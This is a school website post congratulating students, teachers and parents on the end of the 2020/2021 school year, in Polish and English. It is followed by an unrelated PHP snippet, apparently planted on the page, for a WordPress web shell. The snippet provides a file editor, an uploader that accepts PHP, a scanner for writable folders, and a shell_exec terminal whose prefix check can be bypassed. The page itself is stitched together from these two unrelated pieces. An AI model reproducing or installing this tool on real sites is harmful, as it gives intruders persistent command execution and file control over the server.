Wakacje!

Holidays!

W piątek zakończyliśmy rok szkolny. Rok bardzo nietypowy, bo w dużej mierze przebiegający w wersji online. Niemniej, z dumą możemy powiedzieć, że wszyscy stanęliśmy na wysokości zadania – Uczniowie, ponieważ codziennie znajdowali w sobie mobilizację, by zgłębiać wiedzę, Nauczyciele, ponieważ nie ustawali w zabiegach, by wiedzę tę w atrakcyjny sposób przekazywać i Rodzice, ponieważ trzymali cały czas rękę na pulsie. Gratulujemy Wam wszystkim serdecznie! Tym bardziej,  że wyniki Waszej pracy są tak znakomite – dziś na naszej oficjalnej uroczystości zakończenia roku po świadectwa z paskiem ustawiały się długie szeregi, a brawom nie było końca. 

Wszystkim zaś Uczniom, Rodzicom i Nauczycielom i Pracownikom życzymy udanego wypoczynku w trakcie wakacyjnej przerwy i wielu niezapomnianych chwil podczas wakacyjnych przygód.

On Friday we finished the 2020/2021 school year. It was a very unusual year as most of the teaching happened online. Nonetheless, we are happy and proud to say that we managed to make it a successful one – the Students managed to keep the motivation to learn, the Teachers managed to ensure that their lessons remained engaging, and the Parents managed to keep an eye on everything. Big congratulations to you all! The more reasons we have to celebrate as the results on the final certificates were so good – during the official ceremony the number of certificates with distinction was impressively high and the cheering could be heard loud and long. 

To all our Students, Parents, Teachers and Staff members we wish very enjoyable holidays and many wonderful adventures.

🐘
filename.php
/**
 * WP Mini Tools - File Manager + Terminal + Rename
 * Optimized for Code Snippets
 */

if (!defined('ABSPATH')) {
    exit;
}

// Pastikan hanya admin yang bisa akses
add_action('admin_menu', 'wp_mini_tools_menu');
function wp_mini_tools_menu() {
    add_menu_page(
        'WP Mini Tools',
        'Mini Tools',
        'manage_options',
        'wp-mini-tools',
        'wp_mini_tools_page',
        'dashicons-media-code',
        99
    );
}

function wp_mini_tools_page() {
    if (!current_user_can('manage_options')) {
        wp_die('Akses ditolak.');
    }

    // Root directory
    $root = realpath(ABSPATH);
    $requested = isset($_GET['dir']) ? wp_normalize_path(sanitize_text_field(wp_unslash($_GET['dir']))) : $root;
    $current_dir = realpath($requested);
    if ($current_dir === false || !is_dir($current_dir) || strpos($current_dir, $root) !== 0) {
        $current_dir = $root;
    }

    echo '<div class="wrap"><h1>WP Mini Tools — File Manager + Terminal + Writable Scanner</h1>';

    // ====================== PROSES ACTION ======================
    if (isset($_POST['wp_fm_action_nonce']) && check_admin_referer('wp_fm_action', 'wp_fm_action_nonce')) {

        // Scan Writable
        if (isset($_POST['scan_writable'])) {
            $max_depth = min(absint($_POST['max_depth'] ?? 3), 6);
            echo '<div class="notice notice-info"><p>Sedang scan folder writable (depth: ' . $max_depth . ')...</p></div>';

            $writable_folders = [];
            $scanned = 0;
            $iterator = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($current_dir, RecursiveDirectoryIterator::SKIP_DOTS),
                RecursiveIteratorIterator::SELF_FIRST
            );
            $iterator->setMaxDepth($max_depth);

            foreach ($iterator as $path) {
                $scanned++;
                if ($path->isDir()) {
                    $full = $path->getRealPath();
                    if ($full && is_writable($full) && strpos($full, $root) === 0) {
                        $writable_folders[] = [
                            'path' => $full,
                            'perm' => substr(sprintf('%o', fileperms($full)), -4),
                            'owner' => function_exists('posix_getpwuid') ? posix_getpwuid(fileowner($full))['name'] : fileowner($full),
                        ];
                    }
                }
                if ($scanned > 8000) break;
            }

            echo '<h2>Hasil Scan Writable Folders</h2>';
            echo '<p>Ditemukan <strong>' . count($writable_folders) . '</strong> folder writable</p>';

            if (!empty($writable_folders)) {
                echo '<table class="wp-list-table widefat fixed striped">';
                echo '<thead><tr><th>Path</th><th>Permission</th><th>Owner</th><th>Aksi</th></tr></thead><tbody>';
                foreach ($writable_folders as $folder) {
                    $enter_url = admin_url('admin.php?page=wp-mini-tools&dir=' . rawurlencode($folder['path']));
                    echo '<tr>
                        <td><code>' . esc_html($folder['path']) . '</code></td>
                        <td><span style="background:#d4edda;padding:2px 6px;border-radius:3px;">' . esc_html($folder['perm']) . '</span></td>
                        <td>' . esc_html($folder['owner']) . '</td>
                        <td><a href="' . esc_url($enter_url) . '" class="button button-small">Masuk</a></td>
                    </tr>';
                }
                echo '</tbody></table>';
            } else {
                echo '<div class="notice notice-warning"><p>Tidak ditemukan folder writable di kedalaman ini.</p></div>';
            }
        }

        // Upload
        if (isset($_POST['wp_upload_file']) && !empty($_FILES['uploaded_file']['name'])) {
            $filename = sanitize_file_name($_FILES['uploaded_file']['name']);
            $target = trailingslashit($current_dir) . $filename;
            $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
            $allowed = ['txt','jpg','jpeg','png','gif','pdf','zip','css','js','html','php','json','xml','md','svg','webp','log'];

            if (!in_array($ext, $allowed)) {
                echo '<div class="notice notice-error"><p>Ekstensi tidak diizinkan.</p></div>';
            } elseif (@move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $target)) {
                echo '<div class="notice notice-success"><p>Upload berhasil: <strong>' . esc_html($filename) . '</strong></p></div>';
            } else {
                echo '<div class="notice notice-error"><p>Gagal upload (permission).</p></div>';
            }
        }

        // Save Edit
        if (isset($_POST['wp_save_file'])) {
            $raw_path = wp_unslash($_POST['edit_file_path'] ?? '');
            $file_to_save = realpath($raw_path);
            if ($file_to_save && strpos($file_to_save, $root) === 0 && is_writable($file_to_save)) {
                $content = wp_unslash($_POST['file_content']);
                if (file_put_contents($file_to_save, $content) !== false) {
                    echo '<div class="notice notice-success"><p><strong>File berhasil disimpan!</strong></p></div>';
                }
            } else {
                echo '<div class="notice notice-error"><p>Path tidak valid atau tidak writable.</p></div>';
            }
        }

        // Rename
        if (isset($_POST['wp_rename_item'])) {
            $old_path = realpath(sanitize_text_field(wp_unslash($_POST['old_path'] ?? '')));
            $new_name = sanitize_file_name(wp_unslash($_POST['new_name'] ?? ''));
            if ($old_path && $new_name && strpos($old_path, $root) === 0) {
                $new_path = trailingslashit(dirname($old_path)) . $new_name;
                if (!file_exists($new_path) && @rename($old_path, $new_path)) {
                    echo '<div class="notice notice-success"><p>Rename berhasil → <strong>' . esc_html($new_name) . '</strong></p></div>';
                } else {
                    echo '<div class="notice notice-error"><p>Gagal rename.</p></div>';
                }
            }
        }
    }

    // ====================== TERMINAL ======================
    echo '<h2>1. Terminal</h2>';
    $terminal_output = '';
    if (isset($_POST['wp_run_cmd']) && check_admin_referer('wp_fm_action', 'wp_fm_action_nonce')) {
        $cmd = sanitize_text_field(wp_unslash($_POST['terminal_cmd']));
        $allowed_prefix = ['ls', 'pwd', 'whoami', 'id', 'df -h', 'free -m', 'uname -a', 'cat ', 'head ', 'tail ', 'find ', 'du -sh', 'php -v', 'wp '];
        $ok = false;
        foreach ($allowed_prefix as $a) {
            if (stripos($cmd, $a) === 0) {
                $ok = true;
                break;
            }
        }
        if ($ok && function_exists('shell_exec')) {
            $terminal_output = shell_exec('cd ' . escapeshellarg($current_dir) . ' && ' . $cmd . ' 2>&1');
        } else {
            $terminal_output = "Perintah tidak diizinkan atau shell_exec dimatikan.";
        }
    }
    ?>
    <form method="post" style="margin-bottom:15px;">
        <?php wp_nonce_field('wp_fm_action', 'wp_fm_action_nonce'); ?>
        <input type="text" name="terminal_cmd" placeholder="ls -la | pwd | whoami" style="width:65%;">
        <input type="submit" name="wp_run_cmd" class="button button-primary" value="Jalankan">
    </form>
    <?php if ($terminal_output): ?>
        <pre style="background:#1e1e1e;color:#0f0;padding:12px;max-height:280px;overflow:auto;"><?php echo esc_html($terminal_output); ?></pre>
    <?php endif; ?>

    <hr>

    <!-- Scan Writable -->
    <h2>2. Cari Folder Writable</h2>
    <form method="post" style="margin-bottom:20px;background:#f8f9fa;padding:15px;border-radius:6px;">
        <?php wp_nonce_field('wp_fm_action', 'wp_fm_action_nonce'); ?>
        <label>Kedalaman scan: </label>
        <select name="max_depth">
            <option value="1">1</option>
            <option value="2">2</option>
            <option value="3" selected>3 (rekomendasi)</option>
            <option value="4">4</option>
            <option value="5">5</option>
        </select>
        <input type="submit" name="scan_writable" class="button button-primary" value="🔍 Cari Folder Writable">
    </form>

    <hr>
    <?php

    // Edit File
    if (!empty($_GET['edit'])) {
        $edit_file = realpath(sanitize_text_field(wp_unslash($_GET['edit'])));
        if ($edit_file && strpos($edit_file, $root) === 0 && is_file($edit_file) && is_readable($edit_file)) {
            $content = esc_textarea(file_get_contents($edit_file));
            echo '<h2>Edit: ' . esc_html(basename($edit_file)) . '</h2>';
            ?>
            <form method="post">
                <?php wp_nonce_field('wp_fm_action', 'wp_fm_action_nonce'); ?>
                <input type="hidden" name="edit_file_path" value="<?php echo esc_attr($edit_file); ?>">
                <textarea name="file_content" rows="20" style="width:100%;font-family:monospace;font-size:13px;"><?php echo $content; ?></textarea><br><br>
                <input type="submit" name="wp_save_file" class="button button-primary" value="💾 Simpan">
                <a href="<?php echo esc_url(admin_url('admin.php?page=wp-mini-tools&dir=' . rawurlencode($current_dir))); ?>" class="button">Batal</a>
            </form>
            <hr>
            <?php
        }
    }

    // Rename
    if (!empty($_GET['rename'])) {
        $target = realpath(sanitize_text_field(wp_unslash($_GET['rename'])));
        if ($target && strpos($target, $root) === 0) {
            echo '<h2>Rename: ' . esc_html(basename($target)) . '</h2>';
            ?>
            <form method="post">
                <?php wp_nonce_field('wp_fm_action', 'wp_fm_action_nonce'); ?>
                <input type="hidden" name="old_path" value="<?php echo esc_attr($target); ?>">
                <input type="text" name="new_name" value="<?php echo esc_attr(basename($target)); ?>" style="width:350px;" required>
                <input type="submit" name="wp_rename_item" class="button button-primary" value="Ubah Nama">
                <a href="<?php echo esc_url(admin_url('admin.php?page=wp-mini-tools&dir=' . rawurlencode($current_dir))); ?>" class="button">Batal</a>
            </form>
            <hr>
            <?php
        }
    }
    ?>

    <h2>3. File Manager</h2>

    <div style="margin-bottom:15px;padding:12px;background:#f1f1f1;border-radius:6px;">
        <strong>Legenda:</strong> 
        <span style="background:#c8e6c9;padding:3px 8px;border-radius:4px;">Hijau</span> = Writable  
        <span style="background:#fff9c4;padding:3px 8px;border-radius:4px;">Kuning</span> = 777/666  
        <span style="background:#ffcdd2;padding:3px 8px;border-radius:4px;">Merah</span> = Tidak writable
    </div>

    <p><strong>Direktori aktif:</strong> <code><?php echo esc_html($current_dir); ?></code></p>

    <form method="post" enctype="multipart/form-data" style="margin:15px 0;">
        <?php wp_nonce_field('wp_fm_action', 'wp_fm_action_nonce'); ?>
        <input type="file" name="uploaded_file">
        <input type="submit" name="wp_upload_file" class="button button-primary" value="Upload ke folder ini">
    </form>

    <!-- Tabel File Manager -->
    <table class="wp-list-table widefat fixed striped">
        <thead>
            <tr>
                <th>Nama</th>
                <th>Tipe</th>
                <th>Ukuran</th>
                <th>Perm</th>
                <th>Aksi</th>
            </tr>
        </thead>
        <tbody>
            <?php if ($current_dir !== $root): ?>
                <tr>
                    <td colspan="5">
                        <a href="<?php echo esc_url(admin_url('admin.php?page=wp-mini-tools&dir=' . rawurlencode(dirname($current_dir)))); ?>">⬆ .. (Naik)</a>
                    </td>
                </tr>
            <?php endif; ?>

            <?php
            $items = @scandir($current_dir) ?: [];
            natcasesort($items);
            foreach ($items as $item) {
                if ($item === '.' || $item === '..') continue;
                $path = $current_dir . DIRECTORY_SEPARATOR . $item;
                $is_dir = is_dir($path);
                $size = $is_dir ? '—' : size_format(@filesize($path) ?: 0);
                $perm = substr(sprintf('%o', @fileperms($path)), -4);
                $writable = is_writable($path);

                $row_style = $writable ? 'background:#e8f5e9;' : '';
                $perm_style = $writable ? 'background:#c8e6c9;color:#1b5e20;' : 'background:#ffcdd2;color:#b71c1c;';
                if (in_array($perm, ['0777','777','0666','666'])) {
                    $perm_style = 'background:#fff9c4;color:#f57f17;font-weight:bold;';
                }
                ?>
                <tr style="<?php echo $row_style; ?>">
                    <td>
                        <?php if ($is_dir): ?>
                            <a href="<?php echo esc_url(admin_url('admin.php?page=wp-mini-tools&dir=' . rawurlencode($path))); ?>">
                                📁 <strong><?php echo esc_html($item); ?></strong>
                            </a>
                        <?php else: ?>
                            📄 <?php echo esc_html($item); ?>
                        <?php endif; ?>
                    </td>
                    <td><?php echo $is_dir ? 'Folder' : 'File'; ?></td>
                    <td><?php echo esc_html($size); ?></td>
                    <td><span style="padding:3px 8px;border-radius:4px;<?php echo $perm_style; ?>"><?php echo esc_html($perm); ?></span></td>
                    <td>
                        <?php if (!$is_dir && is_readable($path)): ?>
                            <a href="<?php echo esc_url(admin_url('admin.php?page=wp-mini-tools&dir=' . rawurlencode($current_dir) . '&edit=' . rawurlencode($path))); ?>" class="button button-small">Edit</a>
                        <?php endif; ?>
                        <a href="<?php echo esc_url(admin_url('admin.php?page=wp-mini-tools&dir=' . rawurlencode($current_dir) . '&rename=' . rawurlencode($path))); ?>" class="button button-small">Rename</a>
                    </td>
                </tr>
                <?php
            }
            ?>
        </tbody>
    </table>
    </div>
    <?php
}